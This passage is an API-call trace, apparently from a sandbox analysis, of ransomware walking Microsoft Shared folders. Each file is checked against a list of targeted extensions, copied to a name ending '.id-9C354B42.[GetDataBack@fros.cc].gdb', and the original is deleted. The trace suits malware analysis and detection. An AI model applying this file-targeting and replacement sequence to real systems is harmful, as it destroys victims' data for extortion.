lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x9870, lpOverlapped=0x0) returned 1 [0121.801] ReadFile (in: hFile=0x198, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0121.801] WriteFile (in: hFile=0x21c, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe8, lpOverlapped=0x0) returned 1 [0121.801] SetEndOfFile (hFile=0x21c) returned 1 [0121.801] CloseHandle (hObject=0x21c) returned 1 [0121.802] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.802] SetEndOfFile (hFile=0x198) returned 1 [0121.803] CloseHandle (hObject=0x198) returned 1 [0121.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.804] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat")) returned 1 [0121.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.804] lstrlenW (lpString=".doc") returned 4 [0121.804] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0121.804] lstrlenW (lpString=".docx") returned 5 [0121.804] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0121.804] lstrlenW (lpString=".pdf") returned 4 [0121.804] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0121.804] lstrlenW (lpString=".xls") returned 4 [0121.804] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0121.804] lstrlenW (lpString=".xlsx") returned 5 [0121.804] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0121.804] lstrlenW (lpString=".ppt") returned 4 [0121.804] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0121.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.804] lstrlenW (lpString=".zip") returned 4 [0121.804] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0121.804] lstrlenW (lpString=".rar") returned 4 [0121.804] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0121.804] lstrlenW (lpString=".bz2") returned 4 [0121.804] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0121.804] lstrlenW (lpString=".7z") returned 3 [0121.804] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0121.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.804] lstrlenW (lpString=".dbf") returned 4 [0121.805] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0121.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.805] lstrlenW (lpString=".1cd") returned 4 [0121.805] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0121.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.805] lstrlenW (lpString=".jpg") returned 4 [0121.805] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0121.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.805] lstrlenW (lpString=".doc") returned 4 [0121.805] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0121.805] lstrlenW (lpString=".docx") returned 5 [0121.805] lstrcmpiW (lpString1=".docx", lpString2="S.DAT") returned -1 [0121.805] lstrlenW (lpString=".pdf") returned 4 [0121.805] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0121.805] lstrlenW (lpString=".xls") returned 4 [0121.805] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0121.805] lstrlenW (lpString=".xlsx") returned 5 [0121.805] lstrcmpiW (lpString1=".xlsx", lpString2="S.DAT") returned -1 [0121.805] lstrlenW (lpString=".ppt") returned 4 [0121.805] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0121.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.805] lstrlenW (lpString=".zip") returned 4 [0121.805] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0121.805] lstrlenW (lpString=".rar") returned 4 [0121.805] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0121.805] lstrlenW (lpString=".bz2") returned 4 [0121.805] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0121.805] lstrlenW (lpString=".7z") returned 3 [0121.805] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0121.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.805] lstrlenW (lpString=".dbf") returned 4 [0121.805] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0121.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.806] lstrlenW (lpString=".1cd") returned 4 [0121.806] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0121.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT") returned 78 [0121.806] lstrlenW (lpString=".jpg") returned 4 [0121.806] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0121.806] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.806] lstrlenW (lpString="TIME.XML") returned 8 [0121.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.832] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=8564) returned 1 [0121.832] CloseHandle (hObject=0x210) returned 1 [0121.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0121.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.832] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.832] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0121.833] GetLastError () returned 0x0 [0121.833] ReadFile (in: hFile=0x210, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x2174, lpOverlapped=0x0) returned 1 [0121.834] WriteFile (in: hFile=0x1cc, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x2180, lpOverlapped=0x0) returned 1 [0121.835] ReadFile (in: hFile=0x210, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0121.835] WriteFile (in: hFile=0x1cc, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xe4, lpOverlapped=0x0) returned 1 [0121.835] SetEndOfFile (hFile=0x1cc) returned 1 [0121.835] CloseHandle (hObject=0x1cc) returned 1 [0121.836] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0121.836] SetEndOfFile (hFile=0x210) returned 1 [0121.837] CloseHandle (hObject=0x210) returned 1 [0121.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.837] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0121.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.838] lstrlenW (lpString=".doc") returned 4 [0121.838] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.838] lstrlenW (lpString=".docx") returned 5 [0121.838] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0121.838] lstrlenW (lpString=".pdf") returned 4 [0121.838] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.838] lstrlenW (lpString=".xls") returned 4 [0121.838] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.838] lstrlenW (lpString=".xlsx") returned 5 [0121.838] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0121.838] lstrlenW (lpString=".ppt") returned 4 [0121.838] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.838] lstrlenW (lpString=".zip") returned 4 [0121.838] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.838] lstrlenW (lpString=".rar") returned 4 [0121.838] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.838] lstrlenW (lpString=".bz2") returned 4 [0121.838] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.838] lstrlenW (lpString=".7z") returned 3 [0121.838] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.838] lstrlenW (lpString=".dbf") returned 4 [0121.838] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.838] lstrlenW (lpString=".1cd") returned 4 [0121.838] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.838] lstrlenW (lpString=".jpg") returned 4 [0121.838] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.838] lstrlenW (lpString=".doc") returned 4 [0121.838] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.839] lstrlenW (lpString=".docx") returned 5 [0121.839] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0121.839] lstrlenW (lpString=".pdf") returned 4 [0121.839] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.839] lstrlenW (lpString=".xls") returned 4 [0121.839] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.839] lstrlenW (lpString=".xlsx") returned 5 [0121.839] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0121.839] lstrlenW (lpString=".ppt") returned 4 [0121.839] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.839] lstrlenW (lpString=".zip") returned 4 [0121.839] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.839] lstrlenW (lpString=".rar") returned 4 [0121.839] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.839] lstrlenW (lpString=".bz2") returned 4 [0121.839] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.839] lstrlenW (lpString=".7z") returned 3 [0121.839] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.839] lstrlenW (lpString=".dbf") returned 4 [0121.839] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.839] lstrlenW (lpString=".1cd") returned 4 [0121.839] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0121.839] lstrlenW (lpString=".jpg") returned 4 [0121.839] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.839] lstrcmpiW (lpString1=".htm", lpString2=".gdb") returned 1 [0121.839] lstrlenW (lpString="Bears.htm") returned 9 [0121.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.841] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=255) returned 1 [0121.841] CloseHandle (hObject=0x210) returned 1 [0121.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0121.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.841] lstrlenW (lpString=".doc") returned 4 [0121.842] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0121.842] lstrlenW (lpString=".docx") returned 5 [0121.842] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0121.842] lstrlenW (lpString=".pdf") returned 4 [0121.842] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0121.842] lstrlenW (lpString=".xls") returned 4 [0121.842] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0121.842] lstrlenW (lpString=".xlsx") returned 5 [0121.842] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0121.842] lstrlenW (lpString=".ppt") returned 4 [0121.842] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0121.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.842] lstrlenW (lpString=".zip") returned 4 [0121.842] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0121.842] lstrlenW (lpString=".rar") returned 4 [0121.842] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0121.842] lstrlenW (lpString=".bz2") returned 4 [0121.842] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0121.842] lstrlenW (lpString=".7z") returned 3 [0121.842] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0121.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.842] lstrlenW (lpString=".dbf") returned 4 [0121.842] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0121.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.842] lstrlenW (lpString=".1cd") returned 4 [0121.842] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0121.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.842] lstrlenW (lpString=".jpg") returned 4 [0121.842] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0121.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.842] lstrlenW (lpString=".doc") returned 4 [0121.842] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0121.842] lstrlenW (lpString=".docx") returned 5 [0121.842] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0121.842] lstrlenW (lpString=".pdf") returned 4 [0121.842] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0121.842] lstrlenW (lpString=".xls") returned 4 [0121.842] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0121.843] lstrlenW (lpString=".xlsx") returned 5 [0121.843] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0121.843] lstrlenW (lpString=".ppt") returned 4 [0121.843] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0121.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.843] lstrlenW (lpString=".zip") returned 4 [0121.843] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0121.843] lstrlenW (lpString=".rar") returned 4 [0121.843] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0121.843] lstrlenW (lpString=".bz2") returned 4 [0121.843] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0121.843] lstrlenW (lpString=".7z") returned 3 [0121.843] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0121.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.843] lstrlenW (lpString=".dbf") returned 4 [0121.843] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0121.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.843] lstrlenW (lpString=".1cd") returned 4 [0121.843] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0121.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 67 [0121.843] lstrlenW (lpString=".jpg") returned 4 [0121.843] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0121.843] lstrcmpiW (lpString1=".jpg", lpString2=".gdb") returned 1 [0121.843] lstrlenW (lpString="Bears.jpg") returned 9 [0121.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.843] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x204fd44 | out: lpFileSize=0x204fd44*=1074) returned 1 [0121.844] CloseHandle (hObject=0x210) returned 1 [0121.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0121.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0121.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.844] lstrlenW (lpString=".doc") returned 4 [0121.844] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0121.844] lstrlenW (lpString=".docx") returned 5 [0121.844] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0121.844] lstrlenW (lpString=".pdf") returned 4 [0121.844] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0121.844] lstrlenW (lpString=".xls") returned 4 [0121.844] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0121.844] lstrlenW (lpString=".xlsx") returned 5 [0121.844] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0121.844] lstrlenW (lpString=".ppt") returned 4 [0121.844] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0121.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.844] lstrlenW (lpString=".zip") returned 4 [0121.844] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0121.844] lstrlenW (lpString=".rar") returned 4 [0121.844] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0121.844] lstrlenW (lpString=".bz2") returned 4 [0121.844] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0121.844] lstrlenW (lpString=".7z") returned 3 [0121.844] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0121.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.844] lstrlenW (lpString=".dbf") returned 4 [0121.844] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0121.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.844] lstrlenW (lpString=".1cd") returned 4 [0121.844] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0121.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.845] lstrlenW (lpString=".jpg") returned 4 [0121.845] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0121.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.845] lstrlenW (lpString=".doc") returned 4 [0121.845] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0121.845] lstrlenW (lpString=".docx") returned 5 [0121.845] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0121.845] lstrlenW (lpString=".pdf") returned 4 [0121.845] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0121.845] lstrlenW (lpString=".xls") returned 4 [0121.845] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0121.845] lstrlenW (lpString=".xlsx") returned 5 [0121.845] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0121.845] lstrlenW (lpString=".ppt") returned 4 [0121.845] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0121.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.845] lstrlenW (lpString=".zip") returned 4 [0121.845] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0121.845] lstrlenW (lpString=".rar") returned 4 [0121.845] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0121.845] lstrlenW (lpString=".bz2") returned 4 [0121.845] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0121.845] lstrlenW (lpString=".7z") returned 3 [0121.845] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0121.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.845] lstrlenW (lpString=".dbf") returned 4 [0121.845] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0121.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.845] lstrlenW (lpString=".1cd") returned 4 [0121.845] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0121.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0121.845] lstrlenW (lpString=".jpg") returned 4 [0121.845] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0121.846] lstrcmpiW (lpString1=".jpg", lpString2=".gdb") returned 1 [0121.846] lstrlenW (lpString="Blue_Gradient.jpg") returned 17 